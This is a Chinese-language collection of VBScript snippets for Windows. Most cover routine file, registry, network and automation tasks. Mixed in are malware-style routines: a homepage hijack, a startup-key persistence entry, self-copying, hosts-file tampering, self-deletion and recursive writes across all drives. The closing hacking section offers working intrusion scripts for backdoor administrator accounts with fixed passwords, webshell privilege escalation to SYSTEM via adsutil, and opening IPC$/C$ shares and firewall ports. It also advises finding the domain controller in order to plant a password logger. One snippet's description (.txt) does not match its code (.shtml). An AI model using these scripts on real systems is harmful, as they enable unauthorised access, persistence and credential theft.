VBS腳本常用經典代碼收集

VBS腳本用途很多：

 

1. 計算
2. 處理文件和文件夾
3. 管理Windows
4. 處理Word, Excel, PowerPoint等Office文檔
5. 嵌入網頁，驅動dHTML
6. 編寫HTTP通信
7. 調用系統功能（COM組件），比如說語音說話
8. 分析HTML, XML
9. 調用命令行並分析返回結果
10. 處理圖片
11. 自動化按鍵
12. 調用Windows Media Player並管理
13. 調用Windows Live Messenger並管理
14. 服務端技術：Active Server Page (ASP)
15. 腳本病毒
16. 處理數據庫

 

VBS獲取系統安裝路徑

先定義這個變量是獲取系統安裝路徑的，然後我們用”&strWinDir&”調用這個變量。

set WshShell = WScript.CreateObject("WScript.Shell")
strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")

VBS獲取C:\Program Files路徑
msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%ProgramFiles%")
VBS獲取C:\Program Files\Common Files路徑
msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%CommonProgramFiles%")
給桌面添加網址快捷方式
set gangzi = WScript.CreateObject("WScript.Shell")
strDesktop = gangzi.SpecialFolders("Desktop")
set oShellLink = gangzi.CreateShortcut(strDesktop & "\Internet Explorer.lnk")
oShellLink.TargetPath = "http://www.fendou.info"
oShellLink.Description = "Internet Explorer"
oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0"
oShellLink.Save
給收藏夾添加網址
Const ADMINISTRATIVE_TOOLS = 6
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)
Set objFolderItem = objFolder.Self    
Set objShell = WScript.CreateObject("WScript.Shell")
strDesktopFld = objFolderItem.Path
Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & "\奮鬥Blog.url")
objURLShortcut.TargetPath = "http://www.fendou.info/"
objURLShortcut.Save
刪除指定目錄指定後綴文件
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile "C:\*.vbs", True
Set fso = Nothing
VBS改主頁
Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.fendou.info"
VBS加啓動項
Set oShell=CreateObject("Wscript.Shell")
oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"
VBS複製自己
set copy1=createobject("scripting.filesystemobject")
copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs")
複製自己到C盤的huan.vbs(複製本vbs目錄下的game.exe文件到c盤的gangzi.exe)
set copy1=createobject("scripting.filesystemobject")
copy1.getfile("game.exe").copy("c:\gangzi.exe")
VBS獲取系統臨時目錄
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempfolder
Const TemporaryFolder = 2
Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)
Wscript.Echo tempfolder
就算代碼出錯 依然繼續執行
On Error Resume Next
VBS打開網址
Set objShell = CreateObject("Wscript.Shell")
objShell.Run("http://www.fendou.info/")
VBS發送郵件
NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
Email.From = "發件@qq.com"
Email.To = "收件@qq.com"
Email.Subject = "Test sendmail.vbs"
Email.Textbody = "OK!"
Email.AddAttachment "C:\1.txt"
With Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item(NameSpace&"smtpserver") = "smtp.郵件服務器.com"
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
.Item(NameSpace&"sendusername") = "發件人用戶名"
.Item(NameSpace&"sendpassword") = "發件人密碼"
.Update
End With
Email.Send
VBS結束進程
strComputer = "."
Set objWMIService = GetObject _
    ("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name = 'Rar.exe'")
For Each objProcess in colProcessList
    objProcess.Terminate()
Next
VBS隱藏打開網址(部分瀏覽器無法隱藏打開，而是直接打開，適合主流用戶使用)
createObject("wscript.shell").run "iexplore http://www.fendou.info/",0
兼容所有瀏覽器，使用IE的絕對路徑+參數打開，無法用函數得到IE安裝路徑，只用函數得到了Program Files路徑，應該比上面的方法好，但是兩種方法都不是絕對的。
Set objws=WScript.CreateObject("wscript.shell")
objws.Run """C:\Program Files\Internet Explorer\iexplore.exe""www.baidu.com",vbhide
VBS遍歷硬盤刪除指定文件名
On Error Resume Next
Dim fPath
strComputer = "."
Set objWMIService = GetObject _
    ("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name = 'gangzi.exe'")
For Each objProcess in colProcessList
    objProcess.Terminate()
Next
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colDirs = objWMIService. _
ExecQuery("Select * from Win32_Directory where name LIKE '%c:%' or name LIKE '%d:%' or name LIKE '%e:%' or name LIKE '%f:%' or name LIKE '%g:%' or name LIKE '%h:%' or name LIKE '%i:%'")
Set objFSO = CreateObject("Scripting.FileSystemObject")
For Each objDir in colDirs
fPath = objDir.Name & "\gangzi.exe"
objFSO.DeleteFile(fPath), True
Next
VBS獲取網卡MAC地址
Dim mc,mo
Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo In mc
If mo.IPEnabled=True Then
MsgBox "本機網卡MAC地址是: " & mo.MacAddress
Exit For
End If
Next
VBS獲取本機註冊表主頁地址
Set reg=WScript.CreateObject("WScript.Shell")
startpage=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page")
MsgBox startpage
VBS遍歷所有磁盤的所有目錄，找到所有.txt的文件，然後給所有txt文件最底部加一句話
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Co = VbCrLf & "路過。。。"
For Each i In fso.Drives
  If i.DriveType = 2 Then
    GF fso.GetFolder(i & "\")
  End If
Next
Sub GF(fol)
  Wh fol
  Dim i
  For Each i In fol.SubFolders
    GF i
  Next
End Sub
Sub Wh(fol)
  Dim i
  For Each i In fol.Files
    If LCase(fso.GetExtensionName(i)) = "shtml" Then
      fso.OpenTextFile(i,8,0).Write Co
    End If
  Next
End Sub
獲取計算機所有盤符
Set fso=CreateObject("scripting.filesystemobject")
Set objdrives=fso.Drives '取得當前計算機的所有磁盤驅動器
For Each objdrive In objdrives   '遍歷磁盤
MsgBox objdrive
Next
VBS給本機所有磁盤根目錄創建文件
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set gangzis=fso.Drives '取得當前計算機的所有磁盤驅動器
For Each gangzi In gangzis   '遍歷磁盤
Set TestFile=fso.CreateTextFile(""&gangzi&"\新建文件夾.vbs",Ture)
TestFile.WriteLine("By www.gangzi.org")
TestFile.Close
Next
VBS遍歷本機全盤找到所有123.exe，然後給他們改名321.exe
set fs = CreateObject("Scripting.FileSystemObject")
for each drive in fs.drives
fstraversal drive.rootfolder
next
sub fstraversal(byval this)
for each folder in this.subfolders
fstraversal folder
next
set files = this.files
for each file in files
if file.name = "123.exe" then file.name = "321.exe"
next
end sub
VBS寫入代碼到粘貼板（先說明一下，VBS寫內容到粘貼板，網上千篇一律都是通過InternetExplorer.Application對象來實現，但是缺點是在默認瀏覽器爲非IE中會彈出瀏覽器，所以費了很大的勁找到了這個代碼來實現）
str=“這裏是你要複製到剪貼板的字符串”
Set ws = wscript.createobject("wscript.shell")
ws.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0,true
QQ自動發消息
On Error Resume Next
str="我是笨蛋/qq"
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0
WshShell.run "tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true
WScript.Sleep 3000
WshShell.SendKeys "^v"
WshShell.SendKeys "%s"
VBS隱藏文件
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.GetFile("F:\軟件大賽\show.txt")
If objFile.Attributes = objFile.Attributes AND 2 Then
    objFile.Attributes = objFile.Attributes XOR 2
End If
VBS生成隨機數（521是生成規則，不同的數字生成的規則不一樣，可以用於其它用途）
Randomize 521
point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))
msgbox join(point,"")
VBS刪除桌面IE圖標（非快捷方式）
Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon",1,"REG_DWORD"
VBS獲取自身文件名
Set fso = CreateObject("Scripting.FileSystemObject")
msgbox WScript.ScriptName
VBS讀取Unicode編碼的文件
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("gangzi.txt",1,False,-1)
strText = objFile.ReadAll
objFile.Close
Wscript.Echo strText
VBS讀取指定編碼的文件（默認爲uft-8）gangzi變量是要讀取文件的路徑
set stm2 =createobject("ADODB.Stream")
stm2.Charset = "utf-8"
stm2.Open
stm2.LoadFromFile gangzi
readfile = stm2.ReadText
MsgBox readfile
VBS禁用組策略
Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins",1,"REG_DWORD"
VBS寫指定編碼的文件（默認爲uft-8）gangzi變量是要讀取文件的路徑，gangzi2是內容變量
gangzi="1.txt"
gangzi2="www.gangzi.org"
Set Stm1 = CreateObject("ADODB.Stream")
Stm1.Type = 2
Stm1.Open
Stm1.Charset = "UTF-8"
Stm1.Position = Stm1.Size
Stm1.WriteText gangzi2
Stm1.SaveToFile gangzi,2
Stm1.Close
set Stm1 = nothing
VBS獲取當前目錄下所有文件夾名字（不包括子文件夾）
Set fso=CreateObject("scripting.filesystemobject")
Set f=fso.GetFolder(fso.GetAbsolutePathName("."))
Set folders=f.SubFolders
For Each fo In folders
  wsh.echo fo.Name
Next
Set folders=Nothing
Set f=nothing
Set fso=nothing
VBS獲取指定目錄下所有文件夾名字（包括子文件夾）
Dim t
Set fso=WScript.CreateObject("scripting.filesystemobject")
Set fs=fso.GetFolder("d:\")
WScript.Echo aa(fs)
Function aa(n)
Set f=n.subfolders
For Each uu In f
Set op=fso.GetFolder(uu.path)
t=t & vbcrlf & op.path
Call aa(op)
Next
aa=t
End function
VBS創建.URL文件（IconIndex參數不同的數字代表不同的圖標，具體請參照SHELL32.dll裏面的所有圖標）
set fso=createobject("scripting.filesystemobject")
qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10)
qidong=qidong&"URL=http://www.fendou.info"&Chr(13)&Chr(10)
qidong=qidong&"IconFile=C:\WINDOWS\system32\SHELL32.dll"&Chr(13)&Chr(10)
qidong=qidong&"IconIndex=130"&Chr(13)&Chr(10)
Set TestFile=fso.CreateTextFile("qq.url",Ture)
TestFile.WriteLine(qidong)
TestFile.Close
VBS寫hosts（沒寫判斷，無論存不存在都追加底部）
Set fs = CreateObject("Scripting.FileSystemObject")
path = ""&fs.GetSpecialFolder(1)&"\drivers\etc\hosts"
Set f = fs.OpenTextFile(path,8,TristateFalse)
f.Write ""&vbcrlf&"127.0.0.1 www.g.cn"&vbcrlf&"127.0.0.1 g.cn"
f.Close
VBS讀取出HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace 下面所有鍵的名字並循環輸出
Const HKLM = &H80000002
strPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace"
Set oreg = GetObject("Winmgmts:\root\default:StdRegProv")
    oreg.EnumKey HKLM,strPath,arr
    For Each x In arr
        WScript.Echo x
    Next
VBS創建txt文件
Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set TestFile=fso.CreateTextFile("C:\hello.txt",Ture)
TestFile.WriteLine("Hello,World!")
TestFile.Close
VBS創建文件夾
Dim fso,fld
Set fso=CreateObject("Scripting.FileSystemObject")
Set fld=fso.CreateFolder("C:\newFolder")
VBS判斷文件夾是否存在
Dim fso,fld
Set fso=CreateObject("Scripting.FileSystemObject")
If (fso.FolderExists("C:\newFolder")) Then
msgbox("Folder exists.")
else
set fld=fso.CreateFolder("C:\newFolder")
End If
VBS使用變量判斷文件夾
Dim fso,fld
drvName="C:\"
fldName="newFolder"
Set fso=CreateObject("Scripting.FileSystemObject")
If (fso.FolderExists(drvName&fldName)) Then
msgbox("Folder exists.")
else
set fld=fso.CreateFolder(drvName&fldName)
End If
VBS加輸入框
Dim fso,TestFile,fileName,drvName,fldName
drvName=inputbox("Enter the drive to save to:","Drive letter")
fldName=inputbox("Enter the folder name:","Folder name")
fileName=inputbox("Enter the name of the file:","Filename")
Set fso=CreateObject("Scripting.FileSystemObject")
If(fso.FolderExists(drvName&fldName))Then
msgbox("Folder exists")
Else
Set fld=fso.CreateFolder(drvName&fldName)
End If
Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)
TestFile.WriteLine("Hello,World!")
TestFile.Close
VBS檢查是否有相同文件
Dim fso,TestFile,fileName,drvName,fldName
drvName=inputbox("Enter the drive to save to:","Drive letter")
fldName=inputbox("Enter the folder name:","Folder name")
fileName=inputbox("Enter the name of the file:","Filename")
Set fso=CreateObject("Scripting.FileSystemObject")
If(fso.FolderExists(drvName&fldName))Then
msgbox("Folder exists")
Else
Set fld=fso.CreateFolder(drvName&fldName)
End If
If(fso.FileExists(drvName&fldName&"\"&fileName&".txt"))Then
msgbox("File already exists.")
Else
Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)
TestFile.WriteLine("Hello,World!")
TestFile.Close
End If
VBS改寫、追加 文件
Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",2,True)   '1表示只讀，2表示可寫，8表示追加
openFile.Write "Hello World!"
openFile.Close
VBS讀取文件 ReadAll 讀取全部
Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.ReadAll)
VBS讀取文件 ReadLine 讀取一行
Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.ReadLine())
MsgBox(openFile.ReadLine())   '如果讀取行數超過文件的行數，就會出錯
VBS讀取文件 Read 讀取n個字符
Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.Read(2))   '如果超出了字符數，不會出錯。
VBS刪除文件
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFile("C:\test.txt")
VBS刪除文件夾
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFolder("C:\newFolder") '不管文件夾中有沒有文件都一併刪除
VBS連續創建文件
Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
For i=1 To 10
Set TestFile=fso.CreateTextFile("C:\hello"&i&".txt",Ture)
TestFile.WriteLine("Hello,World!")
TestFile.Close
Next
VBS根據計算機名隨機生成字符串
set ws=createobject("wscript.shell")
set wenv=ws.environment("process")
RDA=wenv("computername")
Function UCharRand(n)
For i=1 to n
Randomize ASC(MID(RDA,1,1))
temp = cint(25*Rnd)
temp = temp +65
UCharRand = UCharRand & chr(temp)
Next
End Function
msgbox UCharRand(LEN(RDA))
VBS根據mac生成序列號
Function Encode(strPass)
   Dim i, theStr, strTmp
   For i = 1 To Len(strPass)
    strTmp = Asc(Mid(strPass, i, 1))
    theStr = theStr & Abs(strTmp)
   Next
   strPass = theStr
   theStr = ""
   Do While Len(strPass) > 16
    strPass = JoinCutStr(strPass)
   Loop
   For i = 1 To Len(strPass)
    strTmp = CInt(Mid(strPass, i, 1))
    strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)
    theStr = theStr & strTmp
   Next
   Encode = theStr
End Function
Function JoinCutStr(str)
   Dim i, theStr
   For i = 1 To Len(str)
    If Len(str) - i = 0 Then Exit For
    theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1))) / 2))
    i = i + 1
   Next
   JoinCutStr = theStr
End Function
Function IIf(var, val1, val2)
   If var = True Then
    IIf = val1
   Else
    IIf = val2
   End If
End Function
Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo In mc
If mo.IPEnabled=True Then
theStr = mo.MacAddress
Exit For
End If
Next
Randomize Encode(theStr)
rdnum=Int(10*Rnd+5)
Function allRand(n)
  For i=1 to n
    Randomize Encode(theStr)
    temp = cint(25*Rnd)
    If temp mod 2 = 0 then
      temp = temp + 97
    ElseIf temp < 9 then
      temp = temp + 48
    Else
      temp = temp + 65
    End If
    allRand = allRand & chr(temp)
  Next
End Function
msgbox allRand(rdnum)
 
VBS自動連接adsl
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
wsh.run "Rasdial 連接名字 賬號 密碼",false,1
VBS自動斷開ADSL
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
wsh.run "Rasdial /DISCONNECT",false,1
VBS每隔3秒自動更換IP並打開網址實例（值得一提的是，下面這個代碼中每次打開的網址都是引用同一個IE窗口，也就是每次打開的是覆蓋上次打開的窗口，如果需要每次打開的網址都是新窗口，直接使用run就可以了）
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
Set oIE = CreateObject("InternetExplorer.Application")
for i=1 to 5
wsh.run "Rasdial /DISCONNECT",false,1
wsh.run "Rasdial 連接名字 賬號 密碼",false,1
oIE.Navigate "http://www.ip138.com/?"&i&""
Call SynchronizeIE
oIE.Visible = True
next
Sub SynchronizeIE
On Error Resume Next
Do While(oIE.Busy)
WScript.Sleep 3000
Loop
End Sub
用VBS來加管理員帳號
在注入過程中明明有了sa帳號，但是由於net.exe和net1.exe被限制，或其它的不明原因，總是加不了管理員帳號。VBS在活動目錄（adsi）部份有一個winnt對像，可以用來管理本地資源，可以用它不依靠cmd等命令來加一個管理員，詳細代碼如下：
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,綁定
Set oe=GetObject(os&"/Administrators,group") '屬性,admin組
Set od=ob.Create("user","lcx") '建立用戶
od.SetPassword "123456" '設置密碼
od.SetInfo '保存
Set of=GetObject(os&"/lcx",user) '得到用戶
oe.add os&"/lcx"
這段代碼如果保存爲1.vbs，在cmd下運行，格式: cscript 1.vbs的話，會在當前系統加一個名字爲lcx，密碼爲123456的管理員。當然，你可以用記事本來修改裏邊的變量lcx和123456，改成你喜歡的名字和密碼值。
用vbs來列虛擬主機的物理目錄
有時旁註***成功一個站，拿到系統權限後，面對上百個虛擬主機，怎樣才能更快的找到我們目標站的物理目錄呢？一個站一個站翻看太累，用系統自帶的adsutil.vbs吧又感覺好像參數很多，有點無法下手的感覺，試試我這個腳本吧，代碼如下：
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
sServerName=Obj3w.ServerComment
Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")
ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf
End If
Next
WScript.Echo ListAllWeb
Set ObjService=Nothing
WScript.Quit
運行cscript 2.vbs後，就會詳細列出IIS裏的站點ID、描述、及物理目錄，是不是代碼少很多又方便呢？
用VBS快速找到內網域的主服務器
面對域結構的內網，可能許多小菜沒有經驗如何去***。如果你能拿到主域管理員的密碼，整個內網你就可以自由穿行了。主域管理員一般呆在比較重要的機器上，如果能搞定其中的一臺或幾臺，放個密碼記錄器之類，相信總有一天你會拿到密碼。主域服務器當然是其中最重要一臺了，如何在成千臺機器裏判斷出是哪一臺呢？dos命令像net group “domain admins” /domain可以做爲一個判斷的標準，不過vbs也可以做到的，這仍然屬於adsi部份的內容，代碼如下：
 
set obj=GetObject("LDAP://rootDSE")
wscript.echo obj.servername
只用這兩句代碼就足夠了，運行cscript 3.vbs，會有結果的。當然，無論是dos命令或vbs，你前提必須要在域用戶的權限下。好比你得到了一個域用戶的帳號密碼，你可以用 psexec.exe -u -p cmd.exe這樣的格式來得到域用戶的shell，或你的***本來就是與桌面交互的，登陸你***shell的又是域用戶，就可以直接運行這些命令了。
vbs的在***中的作用當然不只這些，當然用js或其它工具也可以實現我上述代碼的功能；不過這個專欄定下的題目是vbs在hacking中的妙用，所以我們只提vbs。寫完vbs這部份我和其它作者會在以後的專欄繼續策劃其它的題目，爭取爲讀者帶來好的有用的文章。
 
WebShell提權用的VBS代碼
asp***一直是搞腳本的朋友喜歡使用的工具之一,但由於它的權限一般都比較低(一般是IWAM_NAME權限),所以大家想出了各種方法來提升它的權限,比如說通過asp***得到mssql數據庫的權限,或拿到ftp的密碼信息,又或者說是替換一個服務程序。而我今天要介紹的技巧是利用一個vbs文件來提升asp***的權限，代碼如下asp***一直是搞腳本的朋友喜歡使用的工具之一,但由於它的權限一般都比較低(一般是IWAM_NAME權限),所以大家想出了各種方法來提升它的權限,比如說通過asp***得到mssql數據庫的權限,或拿到ftp的密碼信息,又或者說是替換一個服務程序。而我今天要介紹的技巧是利用一個vbs文件來提升asp***的權限，代碼如下:
set wsh=createobject("wscript.shell") '創建一個wsh對象
a=wsh.run ("cmd.exe /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps C:\WINNT\system32\inetsrv\httpext.dll C:\WINNT\system32\inetsrv\httpodbc.dll C:\WINNT\system32\inetsrv\ssinc.dll C:\WINNT\system32\msw3prt.dll C:\winnt\system32\inetsrv\asp.dll",0) '加入asp.dll到InProcessIsapiApps中
 
將其保存爲vbs的後綴,再上傳到服務上，
然後利用asp***執行這個vbs文件後。再試試你的asp***吧，你會發現自己己經是system權限了
VBS開啓ipc服務和相關設置
Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0
Set wsh3=wscript.createobject("wscript.shell")
wsh3.Run "net user helpassistant 123456",0,false
wsh3.Run "net user helpassistant /active",0,false
wsh3.Run "net localgroup administrators helpassistant /add",0,false
wsh3.Run "net start Lanmanworkstation /y",0,false
wsh3.Run "net start Lanmanserver /y",0,false
wsh3.Run "net start ipc$",0,True
wsh3.Run "net share c$=c:\",0,false
wsh3.Run "netsh firewall set notifications disable",0,True
wsh3.Run "netsh firewall set portopening TCP 139 enable",0,false
wsh3.Run "netsh firewall set portopening UDP 139 enable",0,false
wsh3.Run "netsh firewall set portopening TCP 445 enable",0,false
wsh3.Run "netsh firewall set portopening UDP 445 enable",0,false
 
VBS時間判斷代碼
 
Digital=time
    hours=Hour(Digital)
    minutes=Minute(Digital)
    seconds=Second(Digital)
    if (hours<6) then
        dn="凌辰了，還沒睡啊？"
    end if
    if (hours>=6) then
        dn="早上好！"
    end if
    if (hours>12) then
        dn="下午好！"
    end if
    if (hours>18) then
        dn="晚上好！"
    end if
    if (hours>22) then
        dn="不早了，夜深了，該睡覺了！"
    end if
    if (minutes<=9) then
        minutes="0" & minutes
    end if
    if (seconds<=9) then
        seconds="0" & seconds
    end if
ctime=hours & ":" & minutes & ":" & seconds & " " & dn
Msgbox ctime
 
VBS註冊表讀寫
Dim OperationRegistry , mynum
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
mynum = 9
mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")
MsgBox("before forceguest = "&mynum)
OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0
mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")
MsgBox("after forceguest = "&mynum)
 
VBS運行後刪除自身代碼
dim fso,f
Set fso = CreateObject("Scripting.FileSystemObject")
f = fso.DeleteFile(WScript.ScriptName)
WScript.Echo( WScript.ScriptName)